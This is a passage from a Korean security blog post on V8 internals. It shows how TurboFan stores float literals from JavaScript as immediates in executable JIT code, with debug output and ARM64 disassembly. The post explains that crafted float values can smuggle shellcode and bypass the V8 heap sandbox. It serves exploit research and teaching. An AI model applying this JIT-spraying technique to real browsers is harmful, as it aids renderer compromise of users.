V8 heap 외부 영역에 저장되는 Wasm JIT 코드와 다르게 일반적인 Javascript 함수의 JIT 코드는 V8 heap 내부에 저장됩니다. 이를 확인하기 위해 기존 예시를 아래와 같이 수정하여 실행해보았습니다.
const foo = () =>
{
return [1.1, 2.2, 3.3];
}
%PrepareFunctionForOptimization(foo);
foo();
%OptimizeFunctionOnNextCall(foo);
foo();
%DebugPrint(foo);
최적화 이후 변경되는 점을 확인하기 위해 native syntax를 사용하여 직접적으로 수행하였습니다.
DebugPrint: 0x1d04001cc681: [Function]
- map: 0x1d04001043e5 <Map[28](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x1d0400104299 <JSFunction (sfi = 0x1d04000cb201)>
- elements: 0x1d0400000219 <FixedArray[0]> [HOLEY_ELEMENTS]
- function prototype: <no-prototype-slot>
- shared_info: 0x1d040011ad11 <SharedFunctionInfo foo>
- name: 0x1d040011ac35 <String[3]: #foo>
- formal_parameter_count: 0
- kind: ArrowFunction
- context: 0x1d040011adf9 <ScriptContext[3]>
- code: 0x1d040011af7d <Code TURBOFAN> # [1]
- source code: () =>
{
return [1.1, 2.2, 3.3];
}
# ...
처음 실행과 달라진 점 중 하나로 [1]에서 가리키는 내용이 BUILTIN IntrepreterEntryTrampoline에서 TURBOFAN으로 변경된 것을 볼 수 있습니다.
d8>%DebugPrintPtr(0x1d040011af7d);
DebugPrint: 0x1d040011af7d: [Code] in OldSpace
- map: 0x1d0400000d9d <Map[60](CODE_TYPE)>
- kind: TURBOFAN
- instruction_stream: 0x00015000800d <InstructionStream TURBOFAN>
- instruction_start: 0x150008020
- flags: 2147483869
0x15000800d: [InstructionStream]
- map: 0x1d0400000a75 <Map(INSTRUCTION_STREAM_TYPE)>
- code: 0x1d040011af7d <Code TURBOFAN>kind = TURBOFAN
stack_slots = 6
compiler = turbofan
address = 0x1d040011af7d
Instructions (size = 480)
0x150008020 0 10000010 adr x16, #+0x0 (addr 0x150008020)
0x150008024 4 eb02021f cmp x16, x2
0x150008028 8 54000080 b.eq #+0x10 (addr 0x150008038)
0x15000802c c d2801001 movz x1, #0x80
0x150008030 10 f9678750 ldr x16, [x26, #20232]
0x150008034 14 d63f0200 blr x16
# ...
0x150008098 78 54000982 b.hs #+0x130 (addr 0x1500081c8)
0x15000809c 7c 91008043 add x3, x2, #0x20 (32)
0x1500080a0 80 f81c0343 stur x3, [x26, #-64]
0x1500080a4 84 91000442 add x2, x2, #0x1 (1)
0x1500080a8 88 d28121a4 movz x4, #0x90d
0x1500080ac 8c b81ff044 stur w4, [x2, #-1]
0x1500080b0 90 d28000c4 movz x4, #0x6
0x1500080b4 94 b8003044 stur w4, [x2, #3]
0x1500080b8 98 d2933350 movz x16, #0x999a # <== IEEE representations
0x1500080bc 9c f2b33330 movk x16, #0x9999, lsl #16
0x1500080c0 a0 f2d33330 movk x16, #0x9999, lsl #32
0x1500080c4 a4 f2e7fe30 movk x16, #0x3ff1, lsl #48
또 하나 %DebugPrintPtr() 호출을 통해 code영역까지 한번에 출력이 되었는데 1.1, 2.2, 3.3을 출력하기 위한 IEEE 표현식을 확인할 수 있었습니다. 이 값들은 읽기/실행 가능한 영역에 저장되기 때문에 만약 부동소수점 값을 정교하게 조작하는 경우 shellcode를 메모리 상에 적재하는 것이 가능합니다.
결과적으로 해당 주소로 PC를 조작하면 heap sandbox의 영향을 받지 않기 때문에 우회가 가능하다는 것이 특징입니다.
4. Takeaways
도닦기 2단계에서는 V8 heap sandbox에 관한 개념부터 이를 우회할 수 있는 두 가지 방법에 대해 알아보았습니다! 사실 이 글에서는 memory corruption에 관한 내용은 직접적으로 다루지 않았지만 실제로 Renderer 익스플로잇을 위해서는 두 과정이 모두 필요합니다.
이어질 도닦기 3단계에서는 CVE-2023-3079에 대한 deep dive와 V8 heap sandbox 우회까지 포함한 전체 PoC에 대해 알아보겠습니다. 🏋🏻♀️
99. References
- https://hackyboiz.github.io/2026/06/06/OUYA77/Wipeload_step1/kr/
- V8 Heap Sandbox A-to-Z
- The History of V8 Exploit
- Mechanism of V8 Heap Sandbox
- Bypass Heap Sandbox
- AAW and Code Execution with WasmIndirectFunctionTable Object
- https://theori.io/blog/a-deep-dive-into-v8-sandbox-escape-technique-used-in-in-the-wild-exploit
- https://chromium.googlesource.com/v8/v8/+/b2a94c9023da70c99223640bf99c203425b42dda
- https://chromium.googlesource.com/v8/v8/+/f7440172503e758e543fa0e5a6da9356a43236cf
- https://web.dev/explore/webassembly?hl=ko
- https://webassembly.org
- https://github.com/theori-io/v8-sbx-bypass-wasm
- https://webassembly.github.io/reference-types/core/syntax/types.html
- Using JIT to Bypass Sandbox
- AAW and Code Execution with WasmIndirectFunctionTable Object
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.
